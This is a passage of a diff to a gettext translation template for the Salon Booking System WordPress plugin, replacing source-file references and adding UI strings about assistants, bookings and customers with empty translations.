build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTimeFunc.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTimeFunc.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTimeFunc.php:369\n-msgid \"All day\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:213\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:213\n+msgid \"Assistant submitted.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTimeFunc.php:370, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTimeFunc.php:370, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:370, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTimeFunc.php:370, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTimeFunc.php:370, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTimeFunc.php:370\n-msgid \"Time\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:198\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:202\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:198\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:202\n+msgid \"Assistant updated.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTimeFunc.php:371, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTimeFunc.php:371, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:371, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTimeFunc.php:371, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTimeFunc.php:371, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTimeFunc.php:371\n-msgid \"Events\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:121\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:121\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:21\n+msgid \"ASSISTANTS\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTimeFunc.php:372, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTimeFunc.php:372, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:372, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTimeFunc.php:372, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTimeFunc.php:372, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTimeFunc.php:372\n-msgid \"Ends before timeline\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:113\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:113\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:161\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:245\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:249\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:113\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:113\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_date_pickers.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:161\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:245\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:249\n+msgid \"Assistants\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FTimeFunc.php:373, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTimeFunc.php:373, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTimeFunc.php:373, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTimeFunc.php:373, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTimeFunc.php:373, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTimeFunc.php:373\n-msgid \"Starts after timeline\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:100\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:100\n+msgid \"Assistants \u002F Staff\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:183, views\u002Fadmin\u002F_calendar_render_month_day.php:81, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:183, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_month_day.php:81, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:183, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_month_day.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_month_day.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_month_day.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_month_day.php:81\n-msgid \"Go to daily view\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:258\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:258\n+msgid \"Assistants Archive\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:189, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:189, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:189\n-msgid \"Block\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:113\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:113\n+msgid \"Assistants view\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:190, views\u002Fadmin\u002Fcalendar.php:691, views\u002Fmetabox\u002Fbooking.php:1034, views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:135, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:190, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:691, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:1034, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:135, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:190, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:691, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1034, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:190, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:691, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:917, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:190, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:691, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:1033, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:190, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:691, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:1034, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:135\n-msgid \"Confirm\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:204\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:204\n+msgid \"Assistants will be assigned automatically by the system.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:191, views\u002Fadmin\u002Fcalendar.php:192, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:191, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:192, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:191, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:191, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:191, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:191, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:192\n-msgid \"Unlock\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:262\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:262\n+msgid \"Assistants will receive an e-mail when selected for a new booking.\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:195, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:195, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:195, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:195\n-msgid \"Tot.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_holiday_row.php:239\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_holiday_row.php:252\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fremind.php:49\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_holiday_row.php:239\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_holiday_row.php:252\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:49\n+msgid \"at\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:197, views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:437, views\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:144, views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:58, views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:132, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:197, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:437, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:144, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:58, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:132, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:197, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:437, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:197, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:410, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:197, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:410, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:197, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:437, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:144, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:58, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:132, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:132, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:132, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:144, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:58, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:132\n-msgid \"Cancel\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1262\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1262\n+msgid \"At least one service is required for the booking.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1279\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1279\n+msgid \"At least one service with a valid service ID is required.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:518\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:518\n+msgid \"At-risk Customers\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002Fcalendar.php:198, views\u002Fadmin\u002F_calendar_search_result.php:47, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:198, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_search_result.php:47, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:198, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_search_result.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_search_result.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_search_result.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_search_result.php:47\n-msgid \"No results\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:169\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002F_booking_services.php:338\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:300\n+#: 